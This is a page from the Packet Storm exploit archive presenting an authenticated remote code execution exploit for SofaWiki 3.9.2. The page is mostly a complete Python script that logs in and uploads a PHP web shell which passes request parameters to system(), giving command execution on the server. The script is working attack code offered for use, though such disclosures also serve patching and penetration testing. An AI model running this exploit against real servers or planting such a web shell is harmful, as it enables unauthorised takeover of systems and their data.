exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

SofaWiki 3.9.2 Shell Upload

SofaWiki 3.9.2 Shell Upload
Posted Apr 22, 2024
Authored by Ahmet Umit Bayram

SofaWiki version 3.9.2 suffers from a remote shell upload vulnerability.

tags | exploit, remote, shell
SHA-256 | 0f96734c2d9102385c242ff25bcaeda5c50413756e19e450e1bcbfe8ae166734

SofaWiki 3.9.2 Shell Upload

Change Mirror Download
# Exploit Title: SofaWiki 3.9.2 - Remote Command Execution (RCE) (Authenticated)
# Discovered by: Ahmet Ümit BAYRAM
# Discovered Date: 18.04.2024
# Vendor Homepage: https://www.sofawiki.com
# Software Link: https://www.sofawiki.com/site/files/snapshot.zip
# Tested Version: v3.9.2 (latest)
# Tested on: MacOS


import requests
import random
import sys
import time

def main():
if len(sys.argv) < 4:
print("Usage: python exploit.py <base_url> <username> <password>")
sys.exit(1)

base_url, username, password = sys.argv[1:4]


filename = f"{random.randint(10000, 99999)}.phtml"


session = requests.Session()


login_url = f"{base_url}/index.php"
login_data = {
"submitlogin": "Login",
"username": username,
"pass": password,
"name": "SofaWiki",
"action": "login"
}
print("Exploiting...")
time.sleep(1)
response = session.post(login_url, data=login_data)
if "Logout" not in response.text:
print("Login failed:", response.text)
sys.exit()

print("Login Successful")
time.sleep(1)
php_shell_code = """
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
</html>
"""

print("Shell uploading...")
time.sleep(1)
upload_url = f"{base_url}/index.php"
files = {
"uploadedfile": (filename, php_shell_code, "text/php"),
"action": (None, "uploadfile"),
"MAX_FILE_SIZE": (None, "8000000"),
"filename": (None, filename),
"content": (None, "content")
}
response = session.post(upload_url, files=files)
if response.status_code == 200:
print(f"Your shell is ready: {base_url}/site/files/{filename}")
else:
print("Upload failed:", response.text)

if __name__ == "__main__":
main()


Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    0 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    0 Files
  • 10
    May 10th
    0 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close